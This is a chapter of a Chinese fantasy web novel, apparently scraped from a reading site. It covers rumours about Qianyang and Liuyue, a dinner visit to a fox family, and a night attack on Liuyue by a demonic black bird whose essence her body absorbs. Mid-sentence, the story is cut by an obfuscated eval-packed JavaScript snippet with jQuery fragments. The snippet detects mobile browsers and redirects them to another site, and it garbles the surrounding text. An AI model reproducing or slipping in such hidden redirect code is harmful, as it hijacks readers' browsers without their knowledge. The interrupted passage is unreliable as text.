在琉月跟着邱琳，受邀到狐狸一家做客、吃个便饭时，帮鹿原道人办完事的乾阳，已经被一群小辈淹没，听着他们七嘴八舌地说今天发生的事，吵得耳朵嗡嗡作响。


    依稀听见“心上人”、“相亲”、“你被甩了”这几个字眼。


    乾阳拿这几个关键词随意组合了下，得到的句子都十分荒谬。


    当然，这个荒谬的点主要在于“心上人”和“你被甩了”这几个大字上。


    乾阳按了按眉心，心里升上来一股浓重的疲惫。


    他前两天去找师父的时候，才被一堆人嘲笑过对小姑娘不要脸皮地死缠烂打，结果人家还不要他。


    结果还没等前一个谣言止于智者，后一脚就又来一个？


    这回，他又在谁的嘴里和谁好过了？


    这些谣言到底是从哪里传出来的？他每天忙得都快累死了，怎么这些人却这么有闲心？


    乾阳被吵得头痛，伸手下压几次，待都安静下来，他随手指了一个人，“你来说，发生了什么事？”


    那人表情愤懑，好像话题中被心上人甩了的不是乾阳，而是他自己。


    他劝告道：“乾阳师兄，您虽然没有明说，但我们都知道您的心意。可您这样默默付出的法子是行不通的呀，您得告诉当事人，您都为她做了些什么，付出了多少心血，她才会看到你做的一切、才会动容啊，这样才有可能选择您，而不是去跟个什么也没做的二愣子相亲啊！”


    众人纷纷附和，表示赞同。


    众多视线落在乾阳身上，或是感到不值，或是觉得同情，总之，都在为一个多情帅气有实力的前辈被无情抛弃的事情而感到愤慨。


    乾阳：“……”


    头似乎更痛了。


    乾阳呼吸轻轻，大概知道他这位传说中的“心上人”是谁了。


    他按了按太阳穴，冷静下来，问：“谁跟你们说，琉月是我的心上人了？”


    有人疑惑：“您怎么知道我们说的是琉月啊？”就这还不承认，这欲盖弥彰的，太明显了吧？


    “您不是亲手给她做了套法衣吗，要不是心上人，为什么要费那么大功夫？”


    “而且您戴了几十年的珠串也送给她了。”


    “您还找了我们来保护她。”


    “听说您还带她去了鹿原宫见同门师兄，鹿原宫的各位前辈也都承认了琉月女士的身份啊。”


    都到这种地步了，不是心上人是什么？


    总不能如传言所说，前辈是那种骗人身心的人渣吧？他们景仰万分的知名前辈，怎么可能是那种人？


    十几个人的声音同时响起来，耳边又开始嗡嗡作响。


    还有人在小声分享最新流传出来的情报：“听说前段时间师叔和琉月女士住酒店还同住一间房呢，现在连面也不见，还否认关系，我看多半是闹了大矛盾了。”


    劲爆消息！


    众人围拢而去：“我去，真的假的，你从哪听说的？”


    “是一个出手很大方的道长，身边跟着正一那个以古怪出名的弟子，现在正四处游历，我也是偶然遇上的。他还说之前琉月女士多跟他说了几句话，师叔就生气了，对他大打出手，把他一辆价值三千万的车也打烂了……”


    众人唏嘘不已：“天哪，三千万的车！同是修行人，他怎么那么有钱？”


    “天呐，说两句话而已……前辈占有欲居然这么强？”


    “幸好我们平日没有露面……”


    “……”


    耳朵并不聋的乾阳，总算知道了这一段段流言的幕后指使者，听着众人纷纷议论，他突然笑了一声。


    笑声并不刺耳，反而清朗好听。


    可笑声一起，众人就被按下了暂停键，纷纷收声。无他，只是突然感到有一阵凉风在颈间吹拂，本能地觉得不妙。


    下一瞬，就听乾阳声音称得上温和地说：“盲信流言者，智识几可与朽木同科；聚众语人是非者，更是失礼失德。你们今日表现，我会如实通知各位的师门，作为你们年末考核的参考。”


    众人怔怔然一瞬。


    乾阳拂袖离开。


    随后此起彼伏的惨叫声连成一片。


    乾阳站在一处山巅，俯瞰山下连片的建筑，轻轻叹了口气。危险已至，被锚定的猎物却还没有一丝觉察……


    *


    在狐狸家吃过晚饭，三个长辈在书房谈事情，琉月就和小狐狸黄灏在外面坐着看电视。看动物世界。


    这会儿在播的正好是小狐狸的亲戚，威严的方脸狐主任——藏狐。


    把藏狐的脸替换到小狐狸脸上，琉月觉得憨憨的很配，于是短促地笑了一声。


    黄灏狐疑地看她一眼，“你笑什么？”


    琉月：“没什么。”


    看了没一会儿，书房的门打开，三个人走出来，脸上都带着笑，看来谈得很融洽。


    五个人一起坐了会儿，邱琳便带着琉月告辞了。黄家人很热情，一直把她们送上了车再目送她们离开。


    晚上八点的天空已经暗沉下来，车子启动时有两道很大的乌鸦叫声。琉月下意识回头看了眼狐狸一家，站在中间的火灵烨一手搭一个，身体微微绷紧，红宝石一样的眼看着一个地方。


    琉月顺着他的视线看向那边，只看到一闪而过的黑影。


    是只鸟，体型很大。


    “……琉月，小月？”邱琳的声音在耳边渐渐清晰。


    琉月回神：“不好意思邱姨，我有点走神。怎么了？”


    邱琳私下里和琉月的相处模式就像朋友，不讲那些长辈和晚辈之间的规矩。她先往后看了看，这时车子已经驶出去很远，早看不见黄利雅她们家了。


    邱琳小声说：“你觉不觉得，那位火先生长得太帅了。”


    琉月：……


    帅是帅，但和一个有夫之妇谈论另一个有妇之夫帅不帅的事情……好像有点奇怪？


    琉月还没说话，就听邱琳说：“帅得有些不像人。”


    “咳……”琉月惊得咳嗽出声。


    邱琳帮她拍背，“吓到了？我只是随口一说，我还从来没见过好看成这样的男人。说起来奇怪，他长成这样，怎么没人拍了传到网上去？”


    琉月帮忙遮掩：“可能是工作单位特殊吧，发出来的视频或者照片都被删掉了，流传不广，所以我们不知道。”


    邱琳点点头，“确实，像他们这种单位，保密程度都挺高的。”


    她想到火灵烨一头飘逸的长发，又道：“他们单位居然不规定仪容仪表标准吗，真是奇怪。”


    琉月：“……可能单位性质不一样吧。”


    邱琳也没在意，感慨道：“命运的安排真是奇妙。”


    琉月微怔，“是啊。真奇妙。”她看向窗外，街景在飞速后退，回忆也跟着飞快后退，定格在灵溪寺山脚下、窥阳镜后那璀璨的金光。


    邱琳手撑着额头，看着兀自惆怅的琉月，促狭地笑着说：“说起来，我们月儿属实定力非凡啊，对上那种大帅哥，也一点不为所动呢。你是怎么想的，难道不觉得他很帅吗？还是说，你已经见过了比他还帅的人？”


    思维顺着邱琳的话走了一圈，脑子里已经自动装满了乾阳的脸。


    琉月有些恼恨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835203|181687||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地捶了下头，若无其事地说：“火先生外形很出众，但他已经结婚了，把太多注意力放在他身上，我觉得不太好。”自动忽略了最后一个问题。


    奈何邱琳揪着不放，她笑着问：“那，那个比火先生还帅的人是谁？小月喜欢的人吗？他是哪里人，有女朋友了吗，你们现在还有联系吗，你有他照片吗……？”


    琉月单手按了按两边太阳穴，无奈地说：“没有那种人。黄灏他爸是我见过的最好看的人。”她回答了第一个问题。


    论精致程度确实如此，她也不算说谎。


    只是个人偏好是件很私人的事情，是无法用常理来衡量的。


    一路说说笑笑，一直到安全回到邱家，琉月提起的心才放下来。


    看火灵烨那时反应，分明是有危险的预兆。那只黑色的大鸟，难道也是什么大妖吗，它想干什么，是冲火灵烨去的，还是冲她来的？是偶然路过，还是监视？


    泡完澡出来，琉月脑袋有些昏沉沉的。


    她上了床正要关灯睡觉，余光看到窗边有黑影一闪而过。


    脑中警笛大响，琉月戴好珠串，绑好手臂包，捏着手机来到窗户边，靠着墙往外看。


    四下光线较暗，楼下站岗的人正在换班，院墙外偶尔有几辆车经过，四处的监控也都亮着红点正常运作，暗沉的天空中也没有飞过可疑的鸟类。


    原来只是眼花。


    琉月松了口气，收回视线往回走，刚迈开腿，后背突然一阵发紧发冷。她迅速转身看向窗外，就见原本一无所有的天空，突然俯冲下来一只漆黑的鸟，速度极快。


    琉月瞳孔微缩，反手去拉窗户，在黑鸟冲进来前一瞬，险之又险地把窗户关上了，妖异的黑鸟重重砸在玻璃上，发出一声巨响。


    这一声响惊动了楼下站岗的人，迅速往这边聚集而来。


    手电照亮窗户，刺得琉月眯起双眼，下意识用手挡了挡，反应过来后已经晚了。


    刺眼光线中，窗户被挤开一条缝隙，妖异的黑鸟张开尖长的喙冲向琉月。


    “那是什么东西？”


    “是一只鸟。好像冲到屋子里去了，没事吧？”


    “……”


    黑鸟进入房间后体型骤然变大，翅膀一展把整个窗户都遮住了。琉月双手挡在身前，连连后退，一时间十分后悔没在屋里放把菜刀什么的，遇到危险只能被动防御。


    琉月跑向门边，手刚摸上把手，黑鸟已经对准脖颈袭来。


    琉月迅速蹲下躲开尖喙，几厘米厚的实木门板跟块豆腐似的被扎穿个洞。琉月吓得够呛，不敢怠慢，大声呼救。


    慌乱中躲得毫无章法，很快被堵住去路。


    怪鸟尖喙利爪齐齐上阵，琉月别无他法，双手护在身前，下一刻胳膊上传来尖锐剧痛，光芒一闪，刺耳鸟啼几乎穿破耳膜，鸟身迅速溃散，位于其心脏位置的模糊光点挣扎逃窜，被一股强劲的吸力吸了回去，融进了琉月身体。


    琉月滑跪在地，浑身发抖，大口喘气。


    门外邱琳惊慌声声，门被砸得哐哐直响，琉月身上软得厉害，估计是吓得狠了，连一点声音也发不出来。


    邱琳已经在门外指挥人拆门。


    在这个空档，琉月视线下垂，看见了手臂上飞速愈合的伤口。


    两只胳膊原本被利爪抓得皮肉翻卷，鲜血直流，这么几秒时间，伤口已经愈合了，只剩几条歪曲的浅色线条。再一眨眼，连淡红的痕迹也消失了。


    要不是清晰的痛感还在脑海回荡，身上仍有斑斑血迹，她都以为刚才的伤口只是幻觉。


    她这是，变成了什么怪物？